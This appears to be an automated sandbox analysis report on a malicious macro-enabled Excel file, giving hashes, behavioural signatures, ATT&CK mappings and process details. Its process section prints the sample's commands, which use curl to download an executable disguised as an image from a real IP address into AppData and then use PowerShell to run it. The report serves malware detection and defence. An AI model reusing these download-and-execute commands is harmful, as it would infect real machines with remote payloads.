d0420e4b533266c8238a6d6cacdd911f8e638c2d793452fe1a647ee8ee5cfdb7

General

Target

bad.xlsm
Size

117KB
MD5

b0447301a0386548cb74bbc6d0136d75
SHA1

bb96a1d7a1191e0bf908c73a2096b6f56d970443
SHA256

d0420e4b533266c8238a6d6cacdd911f8e638c2d793452fe1a647ee8ee5cfdb7
SHA512

798f304664acfa909511277402b1fb9d31a08db799b8950ca216bbb5a540b73c0d8a96d2c9887688358961b40fb0752c83a88832b6b340a13059dabd3a850213

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2708	664	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1352	664	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

664 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2708 powershell.exe
2708 powershell.exe
2708 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2708 powershell.exe

pid	process
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2708	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXE

pid	process
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 664 wrote to memory of 2708	664	EXCEL.EXE	powershell.exe
PID 664 wrote to memory of 2708	664	EXCEL.EXE	powershell.exe
PID 664 wrote to memory of 1352	664	EXCEL.EXE	cmd.exe
PID 664 wrote to memory of 1352	664	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\bad.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:664

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\RgPFG.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2708

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\RgPFG.exe
2⤵
- Process spawned unexpected child process
PID:1352

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/664-122-0x00007FFACD120000-0x00007FFACE20E000-memory.dmp

Filesize
16.9MB

Download
memory/664-116-0x00007FFAAC630000-0x00007FFAAC640000-memory.dmp

Filesize
64KB

Download
memory/664-117-0x00007FFAAC630000-0x00007FFAAC640000-memory.dmp

Filesize
64KB

Download
memory/664-118-0x00007FFAAC630000-0x00007FFAAC640000-memory.dmp

Filesize
64KB

Download
memory/664-121-0x00007FFAAC630000-0x00007FFAAC640000-memory.dmp

Filesize
64KB

Download
memory/664-115-0x00007FFAAC630000-0x00007FFAAC640000-memory.dmp

Filesize
64KB

Download
memory/664-123-0x00007FFACB220000-0x00007FFACD115000-memory.dmp

Filesize
31.0MB

Download
memory/664-114-0x00007FF7F88F0000-0x00007FF7FBEA6000-memory.dmp

Filesize
53.7MB

Download
memory/1352-259-0x0000000000000000-mapping.dmp

Download
memory/2708-258-0x0000000000000000-mapping.dmp

Download
memory/2708-264-0x0000018830E80000-0x0000018830E82000-memory.dmp

Filesize
8KB

Download
memory/2708-265-0x0000018830E83000-0x0000018830E85000-memory.dmp

Filesize
8KB

Download
memory/2708-266-0x0000018818C20000-0x0000018818C21000-memory.dmp

Filesize
4KB

Download
memory/2708-269-0x0000018830E90000-0x0000018830E91000-memory.dmp

Filesize
4KB

Download
memory/2708-285-0x0000018830E86000-0x0000018830E88000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads